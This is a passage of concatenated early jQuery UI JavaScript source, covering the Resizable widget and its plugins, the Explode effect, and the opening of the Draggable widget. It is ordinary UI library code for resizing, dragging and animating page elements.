this.element.css({ marginLeft: oel.css("marginLeft"), marginTop: oel.css("marginTop"),
marginRight: oel.css("marginRight"), marginBottom: oel.css("marginBottom")
});
oel.css({ marginLeft: 0, marginTop: 0, marginRight: 0, marginBottom: 0});
//Prevent Safari textarea resize
if ($.browser.safari && o.preventDefault) oel.css('resize', 'none');
o.proportionallyResize = oel.css({ position: 'static', zoom: 1, display: 'block' });
// avoid IE jump
this.element.css({ margin: oel.css('margin') });
// fix handlers offset
this._proportionallyResize();
}
if(!o.handles) o.handles = !$('.ui-resizable-handle', this.element).length ? "e,s,se" : { n: '.ui-resizable-n', e: '.ui-resizable-e', s: '.ui-resizable-s', w: '.ui-resizable-w', se: '.ui-resizable-se', sw: '.ui-resizable-sw', ne: '.ui-resizable-ne', nw: '.ui-resizable-nw' };
if(o.handles.constructor == String) {
o.zIndex = o.zIndex || 1000;
if(o.handles == 'all') o.handles = 'n,e,s,w,se,sw,ne,nw';
var n = o.handles.split(","); o.handles = {};
// insertions are applied when don't have theme loaded
var insertionsDefault = {
handle: 'position: absolute; display: none; overflow:hidden;',
n: 'top: 0pt; width:100%;',
e: 'right: 0pt; height:100%;',
s: 'bottom: 0pt; width:100%;',
w: 'left: 0pt; height:100%;',
se: 'bottom: 0pt; right: 0px;',
sw: 'bottom: 0pt; left: 0px;',
ne: 'top: 0pt; right: 0px;',
nw: 'top: 0pt; left: 0px;'
};
for(var i = 0; i < n.length; i++) {
var handle = $.trim(n[i]), dt = o.defaultTheme, hname = 'ui-resizable-'+handle, loadDefault = !$.ui.css(hname) && !o.knobHandles, userKnobClass = $.ui.css('ui-resizable-knob-handle'),
allDefTheme = $.extend(dt[hname], dt['ui-resizable-handle']), allKnobTheme = $.extend(o.knobTheme[hname], !userKnobClass ? o.knobTheme['ui-resizable-handle'] : {});
// increase zIndex of sw, se, ne, nw axis
var applyZIndex = /sw|se|ne|nw/.test(handle) ? { zIndex: ++o.zIndex } : {};
var defCss = (loadDefault ? insertionsDefault[handle] : ''),
axis = $(['<div class="ui-resizable-handle ', hname, '" style="', defCss, insertionsDefault.handle, '"></div>'].join('')).css( applyZIndex );
o.handles[handle] = '.ui-resizable-'+handle;
this.element.append(
//Theme detection, if not loaded, load o.defaultTheme
axis.css( loadDefault ? allDefTheme : {} )
// Load the knobHandle css, fix width, height, top, left...
.css( o.knobHandles ? allKnobTheme : {} ).addClass(o.knobHandles ? 'ui-resizable-knob-handle' : '').addClass(o.knobHandles)
);
}
if (o.knobHandles) this.element.addClass('ui-resizable-knob').css( !$.ui.css('ui-resizable-knob') ? { /*border: '1px #fff dashed'*/ } : {} );
}
this._renderAxis = function(target) {
target = target || this.element;
for(var i in o.handles) {
if(o.handles[i].constructor == String)
o.handles[i] = $(o.handles[i], this.element).show();
if (o.transparent)
o.handles[i].css({opacity:0});
//Apply pad to wrapper element, needed to fix axis position (textarea, inputs, scrolls)
if (this.element.is('.ui-wrapper') &&
o._nodeName.match(/textarea|input|select|button/i)) {
var axis = $(o.handles[i], this.element), padWrapper = 0;
//Checking the correct pad and border
padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
//The padding type i have to apply...
var padPos = [ 'padding',
/ne|nw|n/.test(i) ? 'Top' :
/se|sw|s/.test(i) ? 'Bottom' :
/^e$/.test(i) ? 'Right' : 'Left' ].join("");
if (!o.transparent)
target.css(padPos, padWrapper);
this._proportionallyResize();
}
if(!$(o.handles[i]).length) continue;
}
};
this._renderAxis(this.element);
o._handles = $('.ui-resizable-handle', self.element);
if (o.disableSelection)
o._handles.each(function(i, e) { $.ui.disableSelection(e); });
//Matching axis name
o._handles.mouseover(function() {
if (!o.resizing) {
if (this.className)
var axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
//Axis, default = se
self.axis = o.axis = axis && axis[1] ? axis[1] : 'se';
}
});
//If we want to auto hide the elements
if (o.autoHide) {
o._handles.hide();
$(self.element).addClass("ui-resizable-autohide").hover(function() {
$(this).removeClass("ui-resizable-autohide");
o._handles.show();
},
function(){
if (!o.resizing) {
$(this).addClass("ui-resizable-autohide");
o._handles.hide();
}
});
}
this._mouseInit();
},
plugins: {},
ui: function() {
return {
originalElement: this.originalElement,
element: this.element,
helper: this.helper,
position: this.position,
size: this.size,
options: this.options,
originalSize: this.originalSize,
originalPosition: this.originalPosition
};
},
_propagate: function(n,e) {
$.ui.plugin.call(this, n, [e, this.ui()]);
if (n != "resize") this.element.triggerHandler(["resize", n].join(""), [e, this.ui()], this.options[n]);
},
destroy: function() {
var el = this.element, wrapped = el.children(".ui-resizable").get(0);
this._mouseDestroy();
var _destroy = function(exp) {
$(exp).removeClass("ui-resizable ui-resizable-disabled")
.removeData("resizable").unbind(".resizable").find('.ui-resizable-handle').remove();
};
_destroy(el);
if (el.is('.ui-wrapper') && wrapped) {
el.parent().append(
$(wrapped).css({
position: el.css('position'),
width: el.outerWidth(),
height: el.outerHeight(),
top: el.css('top'),
left: el.css('left')
})
).end().remove();
_destroy(wrapped);
}
},
_mouseCapture: function(e) {
if(this.options.disabled) return false;
var handle = false;
for(var i in this.options.handles) {
if($(this.options.handles[i])[0] == e.target) handle = true;
}
if (!handle) return false;
return true;
},
_mouseStart: function(e) {
var o = this.options, iniPos = this.element.position(), el = this.element,
num = function(v) { return parseInt(v, 10) || 0; }, ie6 = $.browser.msie && $.browser.version < 7;
o.resizing = true;
o.documentScroll = { top: $(document).scrollTop(), left: $(document).scrollLeft() };
// bugfix #1749
if (el.is('.ui-draggable') || (/absolute/).test(el.css('position'))) {
// sOffset decides if document scrollOffset will be added to the top/left of the resizable element
var sOffset = $.browser.msie && !o.containment && (/absolute/).test(el.css('position')) && !(/relative/).test(el.parent().css('position'));
var dscrollt = sOffset ? o.documentScroll.top : 0, dscrolll = sOffset ? o.documentScroll.left : 0;
el.css({ position: 'absolute', top: (iniPos.top + dscrollt), left: (iniPos.left + dscrolll) });
}
//Opera fixing relative position
if ($.browser.opera && /relative/.test(el.css('position')))
el.css({ position: 'relative', top: 'auto', left: 'auto' });
this._renderProxy();
var curleft = num(this.helper.css('left')), curtop = num(this.helper.css('top'));
if (o.containment) {
curleft += $(o.containment).scrollLeft()||0;
curtop += $(o.containment).scrollTop()||0;
}
//Store needed variables
this.offset = this.helper.offset();
this.position = { left: curleft, top: curtop };
this.size = o.helper || ie6 ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
this.originalSize = o.helper || ie6 ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
this.originalPosition = { left: curleft, top: curtop };
this.sizeDiff = { width: el.outerWidth() - el.width(), height: el.outerHeight() - el.height() };
this.originalMousePosition = { left: e.pageX, top: e.pageY };
//Aspect Ratio
o.aspectRatio = (typeof o.aspectRatio == 'number') ? o.aspectRatio : ((this.originalSize.width / this.originalSize.height)||1);
if (o.preserveCursor)
$('body').css('cursor', this.axis + '-resize');
this._propagate("start", e);
return true;
},
_mouseDrag: function(e) {
//Increase performance, avoid regex
var el = this.helper, o = this.options, props = {},
self = this, smp = this.originalMousePosition, a = this.axis;
var dx = (e.pageX-smp.left)||0, dy = (e.pageY-smp.top)||0;
var trigger = this._change[a];
if (!trigger) return false;
// Calculate the attrs that will be change
var data = trigger.apply(this, [e, dx, dy]), ie6 = $.browser.msie && $.browser.version < 7, csdif = this.sizeDiff;
if (o._aspectRatio || e.shiftKey)
data = this._updateRatio(data, e);
data = this._respectSize(data, e);
// plugins callbacks need to be called first
this._propagate("resize", e);
el.css({
top: this.position.top + "px", left: this.position.left + "px",
width: this.size.width + "px", height: this.size.height + "px"
});
if (!o.helper && o.proportionallyResize)
this._proportionallyResize();
this._updateCache(data);
// calling the user callback at the end
this.element.triggerHandler("resize", [e, this.ui()], this.options["resize"]);
return false;
},
_mouseStop: function(e) {
this.options.resizing = false;
var o = this.options, num = function(v) { return parseInt(v, 10) || 0; }, self = this;
if(o.helper) {
var pr = o.proportionallyResize, ista = pr && (/textarea/i).test(pr.get(0).nodeName),
soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
soffsetw = ista ? 0 : self.sizeDiff.width;
var s = { width: (self.size.width - soffsetw), height: (self.size.height - soffseth) },
left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
if (!o.animate)
this.element.css($.extend(s, { top: top, left: left }));
if (o.helper && !o.animate) this._proportionallyResize();
}
if (o.preserveCursor)
$('body').css('cursor', 'auto');
this._propagate("stop", e);
if (o.helper) this.helper.remove();
return false;
},
_updateCache: function(data) {
var o = this.options;
this.offset = this.helper.offset();
if (data.left) this.position.left = data.left;
if (data.top) this.position.top = data.top;
if (data.height) this.size.height = data.height;
if (data.width) this.size.width = data.width;
},
_updateRatio: function(data, e) {
var o = this.options, cpos = this.position, csize = this.size, a = this.axis;
if (data.height) data.width = (csize.height * o.aspectRatio);
else if (data.width) data.height = (csize.width / o.aspectRatio);
if (a == 'sw') {
data.left = cpos.left + (csize.width - data.width);
data.top = null;
}
if (a == 'nw') {
data.top = cpos.top + (csize.height - data.height);
data.left = cpos.left + (csize.width - data.width);
}
return data;
},
_respectSize: function(data, e) {
var el = this.helper, o = this.options, pRatio = o._aspectRatio || e.shiftKey, a = this.axis,
ismaxw = data.width && o.maxWidth && o.maxWidth < data.width, ismaxh = data.height && o.maxHeight && o.maxHeight < data.height,
isminw = data.width && o.minWidth && o.minWidth > data.width, isminh = data.height && o.minHeight && o.minHeight > data.height;
if (isminw) data.width = o.minWidth;
if (isminh) data.height = o.minHeight;
if (ismaxw) data.width = o.maxWidth;
if (ismaxh) data.height = o.maxHeight;
var dw = this.originalPosition.left + this.originalSize.width, dh = this.position.top + this.size.height;
var cw = /sw|nw|w/.test(a), ch = /nw|ne|n/.test(a);
if (isminw && cw) data.left = dw - o.minWidth;
if (ismaxw && cw) data.left = dw - o.maxWidth;
if (isminh && ch) data.top = dh - o.minHeight;
if (ismaxh && ch) data.top = dh - o.maxHeight;
// fixing jump error on top/left - bug #2330
var isNotwh = !data.width && !data.height;
if (isNotwh && !data.left && data.top) data.top = null;
else if (isNotwh && !data.top && data.left) data.left = null;
return data;
},
_proportionallyResize: function() {
var o = this.options;
if (!o.proportionallyResize) return;
var prel = o.proportionallyResize, el = this.helper || this.element;
if (!o.borderDif) {
var b = [prel.css('borderTopWidth'), prel.css('borderRightWidth'), prel.css('borderBottomWidth'), prel.css('borderLeftWidth')],
p = [prel.css('paddingTop'), prel.css('paddingRight'), prel.css('paddingBottom'), prel.css('paddingLeft')];
o.borderDif = $.map(b, function(v, i) {
var border = parseInt(v,10)||0, padding = parseInt(p[i],10)||0;
return border + padding;
});
}
prel.css({
height: (el.height() - o.borderDif[0] - o.borderDif[2]) + "px",
width: (el.width() - o.borderDif[1] - o.borderDif[3]) + "px"
});
},
_renderProxy: function() {
var el = this.element, o = this.options;
this.elementOffset = el.offset();
if(o.helper) {
this.helper = this.helper || $('<div style="overflow:hidden;"></div>');
// fix ie6 offset
var ie6 = $.browser.msie && $.browser.version < 7, ie6offset = (ie6 ? 1 : 0),
pxyoffset = ( ie6 ? 2 : -1 );
this.helper.addClass(o.helper).css({
width: el.outerWidth() + pxyoffset,
height: el.outerHeight() + pxyoffset,
position: 'absolute',
left: this.elementOffset.left - ie6offset +'px',
top: this.elementOffset.top - ie6offset +'px',
zIndex: ++o.zIndex
});
this.helper.appendTo("body");
if (o.disableSelection)
$.ui.disableSelection(this.helper.get(0));
} else {
this.helper = el;
}
},
_change: {
e: function(e, dx, dy) {
return { width: this.originalSize.width + dx };
},
w: function(e, dx, dy) {
var o = this.options, cs = this.originalSize, sp = this.originalPosition;
return { left: sp.left + dx, width: cs.width - dx };
},
n: function(e, dx, dy) {
var o = this.options, cs = this.originalSize, sp = this.originalPosition;
return { top: sp.top + dy, height: cs.height - dy };
},
s: function(e, dx, dy) {
return { height: this.originalSize.height + dy };
},
se: function(e, dx, dy) {
return $.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
},
sw: function(e, dx, dy) {
return $.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
},
ne: function(e, dx, dy) {
return $.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
},
nw: function(e, dx, dy) {
return $.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
}
}
}));
$.extend($.ui.resizable, {
version: "@VERSION",
defaults: {
cancel: ":input",
distance: 1,
delay: 0,
preventDefault: true,
transparent: false,
minWidth: 10,
minHeight: 10,
aspectRatio: false,
disableSelection: true,
preserveCursor: true,
autoHide: false,
knobHandles: false
}
});
/*
* Resizable Extensions
*/
$.ui.plugin.add("resizable", "containment", {
start: function(e, ui) {
var o = ui.options, self = $(this).data("resizable"), el = self.element;
var oc = o.containment, ce = (oc instanceof $) ? oc.get(0) : (/parent/.test(oc)) ? el.parent().get(0) : oc;
if (!ce) return;
self.containerElement = $(ce);
if (/document/.test(oc) || oc == document) {
self.containerOffset = { left: 0, top: 0 };
self.containerPosition = { left: 0, top: 0 };
self.parentData = {
element: $(document), left: 0, top: 0,
width: $(document).width(), height: $(document).height() || document.body.parentNode.scrollHeight
};
}
// i'm a node, so compute top, left, right, bottom
else{
self.containerOffset = $(ce).offset();
self.containerPosition = $(ce).position();
self.containerSize = { height: $(ce).innerHeight(), width: $(ce).innerWidth() };
var co = self.containerOffset, ch = self.containerSize.height, cw = self.containerSize.width,
width = ($.ui.hasScroll(ce, "left") ? ce.scrollWidth : cw ), height = ($.ui.hasScroll(ce) ? ce.scrollHeight : ch);
self.parentData = {
element: ce, left: co.left, top: co.top, width: width, height: height
};
}
},
resize: function(e, ui) {
var o = ui.options, self = $(this).data("resizable"),
ps = self.containerSize, co = self.containerOffset, cs = self.size, cp = self.position,
pRatio = o._aspectRatio || e.shiftKey, cop = { top:0, left:0 }, ce = self.containerElement;
if (ce[0] != document && /static/.test(ce.css('position')))
cop = self.containerPosition;
if (cp.left < (o.helper ? co.left : cop.left)) {
self.size.width = self.size.width + (o.helper ? (self.position.left - co.left) : (self.position.left - cop.left));
if (pRatio) self.size.height = self.size.width / o.aspectRatio;
self.position.left = o.helper ? co.left : cop.left;
}
if (cp.top < (o.helper ? co.top : 0)) {
self.size.height = self.size.height + (o.helper ? (self.position.top - co.top) : self.position.top);
if (pRatio) self.size.width = self.size.height * o.aspectRatio;
self.position.top = o.helper ? co.top : 0;
}
var woset = (o.helper ? self.offset.left - co.left : (self.position.left - cop.left)) + self.sizeDiff.width,
hoset = (o.helper ? self.offset.top - co.top : self.position.top) + self.sizeDiff.height;
if (woset + self.size.width >= self.parentData.width) {
self.size.width = self.parentData.width - woset;
if (pRatio) self.size.height = self.size.width / o.aspectRatio;
}
if (hoset + self.size.height >= self.parentData.height) {
self.size.height = self.parentData.height - hoset;
if (pRatio) self.size.width = self.size.height * o.aspectRatio;
}
},
stop: function(e, ui){
var o = ui.options, self = $(this).data("resizable"), cp = self.position,
co = self.containerOffset, cop = self.containerPosition, ce = self.containerElement;
var helper = $(self.helper), ho = helper.offset(), w = helper.innerWidth(), h = helper.innerHeight();
if (o.helper && !o.animate && /relative/.test(ce.css('position')))
$(this).css({ left: (ho.left - co.left), top: (ho.top - co.top), width: w, height: h });
if (o.helper && !o.animate && /static/.test(ce.css('position')))
$(this).css({ left: cop.left + (ho.left - co.left), top: cop.top + (ho.top - co.top), width: w, height: h });
}
});
$.ui.plugin.add("resizable", "grid", {
resize: function(e, ui) {
var o = ui.options, self = $(this).data("resizable"), cs = self.size, os = self.originalSize, op = self.originalPosition, a = self.axis, ratio = o._aspectRatio || e.shiftKey;
o.grid = typeof o.grid == "number" ? [o.grid, o.grid] : o.grid;
var ox = Math.round((cs.width - os.width) / (o.grid[0]||1)) * (o.grid[0]||1), oy = Math.round((cs.height - os.height) / (o.grid[1]||1)) * (o.grid[1]||1);
if (/^(se|s|e)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
}
else if (/^(ne)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.top = op.top - oy;
}
else if (/^(sw)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.left = op.left - ox;
}
else {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.top = op.top - oy;
self.position.left = op.left - ox;
}
}
});
$.ui.plugin.add("resizable", "animate", {
stop: function(e, ui) {
var o = ui.options, self = $(this).data("resizable");
var pr = o.proportionallyResize, ista = pr && (/textarea/i).test(pr.get(0).nodeName),
soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
soffsetw = ista ? 0 : self.sizeDiff.width;
var style = { width: (self.size.width - soffsetw), height: (self.size.height - soffseth) },
left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
self.element.animate(
$.extend(style, top && left ? { top: top, left: left } : {}), {
duration: o.animateDuration || "slow", easing: o.animateEasing || "swing",
step: function() {
var data = {
width: parseInt(self.element.css('width'), 10),
height: parseInt(self.element.css('height'), 10),
top: parseInt(self.element.css('top'), 10),
left: parseInt(self.element.css('left'), 10)
};
if (pr) pr.css({ width: data.width, height: data.height });
// propagating resize, and updating values for each animation step
self._updateCache(data);
self._propagate("animate", e);
}
}
);
}
});
$.ui.plugin.add("resizable", "ghost", {
start: function(e, ui) {
var o = ui.options, self = $(this).data("resizable"), pr = o.proportionallyResize, cs = self.size;
if (!pr) self.ghost = self.element.clone();
else self.ghost = pr.clone();
self.ghost.css(
{ opacity: .25, display: 'block', position: 'relative', height: cs.height, width: cs.width, margin: 0, left: 0, top: 0 }
)
.addClass('ui-resizable-ghost').addClass(typeof o.ghost == 'string' ? o.ghost : '');
self.ghost.appendTo(self.helper);
},
resize: function(e, ui){
var o = ui.options, self = $(this).data("resizable"), pr = o.proportionallyResize;
if (self.ghost) self.ghost.css({ position: 'relative', height: self.size.height, width: self.size.width });
},
stop: function(e, ui){
var o = ui.options, self = $(this).data("resizable"), pr = o.proportionallyResize;
if (self.ghost && self.helper) self.helper.get(0).removeChild(self.ghost.get(0));
}
});
$.ui.plugin.add("resizable", "alsoResize", {
start: function(e, ui) {
var o = ui.options, self = $(this).data("resizable"),
_store = function(exp) {
$(exp).each(function() {
$(this).data("resizable-alsoresize", {
width: parseInt($(this).width(), 10), height: parseInt($(this).height(), 10),
left: parseInt($(this).css('left'), 10), top: parseInt($(this).css('top'), 10)
});
});
};
if (typeof(o.alsoResize) == 'object') {
if (o.alsoResize.length) { o.alsoResize = o.alsoResize[0]; _store(o.alsoResize); }
else { $.each(o.alsoResize, function(exp, c) { _store(exp); }); }
}else{
_store(o.alsoResize);
}
},
resize: function(e, ui){
var o = ui.options, self = $(this).data("resizable"), os = self.originalSize, op = self.originalPosition;
var delta = {
height: (self.size.height - os.height) || 0, width: (self.size.width - os.width) || 0,
top: (self.position.top - op.top) || 0, left: (self.position.left - op.left) || 0
},
_alsoResize = function(exp, c) {
$(exp).each(function() {
var start = $(this).data("resizable-alsoresize"), style = {}, css = c && c.length ? c : ['width', 'height', 'top', 'left'];
$.each(css || ['width', 'height', 'top', 'left'], function(i, prop) {
var sum = (start[prop]||0) + (delta[prop]||0);
if (sum && sum >= 0)
style[prop] = sum || null;
});
$(this).css(style);
});
};
if (typeof(o.alsoResize) == 'object') {
$.each(o.alsoResize, function(exp, c) { _alsoResize(exp, c); });
}else{
_alsoResize(o.alsoResize);
}
},
stop: function(e, ui){
$(this).removeData("resizable-alsoresize-start");
}
});
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Effects Explode @VERSION
*
* Copyright (c) 2008 Paul Bakaus (ui.jquery.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/Explode
*
* Depends:
* effects.core.js
*/
(function($) {
$.effects.explode = function(o) {
return this.queue(function() {
var rows = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
var cells = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
o.options.mode = o.options.mode == 'toggle' ? ($(this).is(':visible') ? 'hide' : 'show') : o.options.mode;
var el = $(this).show().css('visibility', 'hidden');
var offset = el.offset();
//Substract the margins - not fixing the problem yet.
offset.top -= parseInt(el.css("marginTop")) || 0;
offset.left -= parseInt(el.css("marginLeft")) || 0;
var width = el.outerWidth(true);
var height = el.outerHeight(true);
for(var i=0;i<rows;i++) { // =
for(var j=0;j<cells;j++) { // ||
el
.clone()
.appendTo('body')
.wrap('<div></div>')
.css({
position: 'absolute',
visibility: 'visible',
left: -j*(width/cells),
top: -i*(height/rows)
})
.parent()
.addClass('effects-explode')
.css({
position: 'absolute',
overflow: 'hidden',
width: width/cells,
height: height/rows,
left: offset.left + j*(width/cells) + (o.options.mode == 'show' ? (j-Math.floor(cells/2))*(width/cells) : 0),
top: offset.top + i*(height/rows) + (o.options.mode == 'show' ? (i-Math.floor(rows/2))*(height/rows) : 0),
opacity: o.options.mode == 'show' ? 0 : 1
}).animate({
left: offset.left + j*(width/cells) + (o.options.mode == 'show' ? 0 : (j-Math.floor(cells/2))*(width/cells)),
top: offset.top + i*(height/rows) + (o.options.mode == 'show' ? 0 : (i-Math.floor(rows/2))*(height/rows)),
opacity: o.options.mode == 'show' ? 1 : 0
}, o.duration || 500);
}
}
// Set a timeout, to call the callback approx. when the other animations have finished
setTimeout(function() {
o.options.mode == 'show' ? el.css({ visibility: 'visible' }) : el.css({ visibility: 'visible' }).hide();
if(o.callback) o.callback.apply(el[0]); // Callback
el.dequeue();
$('.effects-explode').remove();
}, o.duration || 500);
});
};
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Draggable @VERSION
*
* Copyright (c) 2008 Paul Bakaus
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Draggables
*
* Depends:
* ui.core.js
*/
(function($) {
$.widget("ui.draggable", $.extend({}, $.ui.mouse, {
getHandle: function(e) {
var handle = !this.options.handle || !$(this.options.handle, this.element).length ? true : false;
$(this.options.handle, this.element)
.find("*")
.andSelf()
.each(function() {
if(this == e.target) handle = true;
});
return handle;
},
createHelper: function(e) {
var o = this.options;
var helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [e])) : (o.helper == 'clone' ? this.element.clone() : this.element);
if(!helper.parents('body').length)
helper.appendTo((o.appendTo == 'parent' ? this.element[0].parentNode : o.appendTo));
if(helper[0] != this.element[0] && !(/(fixed|absolute)/).test(helper.css("position")))
helper.css("position", "absolute");
return helper;
},
_init: function() {
if (this.options.helper == 'original' && !(/^(?:r|a|f)/).test(this.element.css("position")))
this.element[0].style.position = 'relative';
(this.options.cssNamespace && this.element.addClass(this.options.cssNamespace+"-draggable"));
(this.options.disabled && this.element.addClass('ui-draggable-disabled'));
this._mouseInit();
},
_mouseCapture: function(e) {
var o = this.options;
if (this.helper || o.disabled || $(e.target).is('.ui-resizable-handle'))
return false;
//Quit if we're not on a valid handle
this.handle = this.getHandle(e);
if (!this.handle)
return false;
return true;
},
_mouseStart: function(e) {
var o = this.options;
//Create and append the visible helper
this.helper = this.createHelper(e);
//If ddmanager is used for droppables, set the global draggable
if($.ui.ddmanager)
$.ui.ddmanager.current = this;
/*
* - Position generation -
* This block generates everything position related - it's the core of draggables.
*/
this.margins = { //Cache the margins
left: (parseInt(this.element.css("marginLeft"),10) || 0),
top: (parseInt(this.element.css("marginTop"),10) || 0)
};
this.cssPosition = this.helper.css("position"); //Store the helper's css position
this.offset = this.element.offset(); //The element's absolute position on the page
this.offset = { //Substract the margins from the element's absolute offset
top: this.offset.top - this.margins.top,
left: this.offset.left - this.margins.left
};
this.offset.click = { //Where the click happened, relative to the element
left: e.pageX - this.offset.left,
top: e.pageY - this.offset.top
};
//Calling this method cached the next parents that have scrollTop / scrollLeft attached
this.cacheScrollParents();
this.offsetParent = this.helper.offsetParent(); var po = this.offsetParent.offset(); //Get the offsetParent and cache its position
if(this.offsetParent[0] == document.body && $.browser.mozilla) po = { top: 0, left: 0 }; //Ugly FF3 fix
this.offset.parent = { //Store its position plus border
top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"),10) || 0),
left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"),10) || 0)
};
//This is a relative to absolute position minus the actual position calculation - only used for relative positioned helper
if(this.cssPosition == "relative") {
var p = this.element.position();
this.offset.relative = {
top: p.top - (parseInt(this.helper.css("top"),10) || 0) + this.scrollTopParent.scrollTop(),
left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollLeftParent.scrollLeft()
};
} else {
this.offset.relative = { top: 0, left: 0 };
}
//Generate the original position
this.originalPosition = this._generatePosition(e);
//Cache the helper size
this.cacheHelperProportions();
//Adjust the mouse offset relative to the helper if 'cursorAt' is supplied
if(o.cursorAt)
this.adjustOffsetFromHelper(o.cursorAt);
//Cache later used stuff
$.extend(this, {
PAGEY_INCLUDES_SCROLL: (this.cssPosition == "absolute" && (!this.scrollTopParent[0].tagName || (/(html|body)/i).test(this.scrollTopParent[0].tagName))),
PAGEX_INCLUDES_SCROLL: (this.cssPosition == "absolute" && (!this.scrollLeftParent[0].tagName || (/(html|body)/i).test(this.scrollLeftParent[0].tagName))),
OFFSET_PARENT_NOT_SCROLL_PARENT_Y: this.scrollTopParent[0] != this.offsetParent[0] && !(this.scrollTopParent[0] == document && (/(body|html)/i).test(this.offsetParent[0].tagName)),
OFFSET_PARENT_NOT_SCROLL_PARENT_X: this.scrollLeftParent[0] != this.offsetParent[0] && !(this.scrollLeftParent[0] == document && (/(body|html)/i).test(this.offsetParent[0].tagName))
});
if(o.containment)
this.setContainment();
//Call plugins and callbacks
this._propagate("start", e);
//Recache the helper size
this.cacheHelperProportions();
//Prepare the droppable offsets
if ($.ui.ddmanager && !o.dropBehaviour)
$.ui.ddmanager.prepareOffsets(this, e);
this.helper.addClass("ui-draggable-dragging");
this._mouseDrag(e); //Execute the drag once - this causes the helper not to be visible before getting its correct position
return true;
},
cacheScrollParents: function() {
this.scrollTopParent = function(el) {
do { if(/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el; el = el.parent(); } while (el[0].parentNode);
return $(document);
}(this.helper);
this.scrollLeftParent = function(el) {
do { if(/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el; el = el.parent(); } while (el[0].parentNode);
return $(document);
}(this.helper);
},
adjustOffsetFromHelper: function(obj) {
if(obj.left != undefined) this.offset.click.left = obj.left + this.margins.left;
if(obj.right != undefined) this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
if(obj.top != undefined) this.offset.click.top = obj.top + this.margins.top;
if(obj.bottom != undefined) this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
},
cacheHelperProportions: function() {
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
},
setContainment: function() {
var o = this.options;
if(o.containment == 'parent') o.containment = this.helper[0].parentNode;
if(o.containment == 'document' || o.containment == 'window') this.containment = [
0 - this.offset.relative.left - this.offset.parent.left,
0 - this.offset.relative.top - this.offset.parent.top,
$(o.containment == 'document' ? document : window).width() - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"),10) || 0),
($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"),10) || 0)
];
if(!(/^(document|window|parent)$/).test(o.containment)) {
var ce = $(o.containment)[0];
var co = $(o.containment).offset();
var over = ($(ce).css("overflow") != 'hidden');
this.containment = [
co.left + (parseInt($(ce).css("borderLeftWidth"),10) || 0) - this.offset.relative.left - this.offset.parent.left,
co.top + (parseInt($(ce).css("borderTopWidth"),10) || 0) - this.offset.relative.top - this.offset.parent.top,
co.left+(over ? Math.max(ce.scrollWidth,ce.offsetWidth) : ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"),10) || 0) - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"),10) || 0),
co.top+(over ? Math.max(ce.scrollHeight,ce.offsetHeight) : ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"),10) || 0) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"),10) || 0)
];
}
},
_convertPositionTo: function(d, pos) {
if(!pos) pos = this.position;
var mod = d == "absolute" ? 1 : -1;
return {
top: (
pos.top // the calculated relative position
+ this.offset.relative.top * mod // Only for relative positioned nodes: Relative offset from element to offset parent
+ this.offset.parent.top * mod // The offsetParent's offset without borders (offset + border)
- (this.cssPosition == "fixed" || this.PAGEY_INCLUDES_SCROLL || this.OFFSET_PARENT_NOT_SCROLL_PARENT_Y ? 0 : this.scrollTopParent.scrollTop()) * mod // The offsetParent's scroll position, not if the element is fixed
+ (this.cssPosition == "fixed" ? $(document).scrollTop() : 0) * mod
+ this.margins.top * mod //Add the margin (you don't want the margin counting in intersection methods)
),
left: (
pos.left // the calculated relative position
+ this.offset.relative.left * mod // Only for relative positioned nodes: Relative offset from element to offset parent
+ this.offset.parent.left * mod // The offsetParent's offset without borders (offset + border)
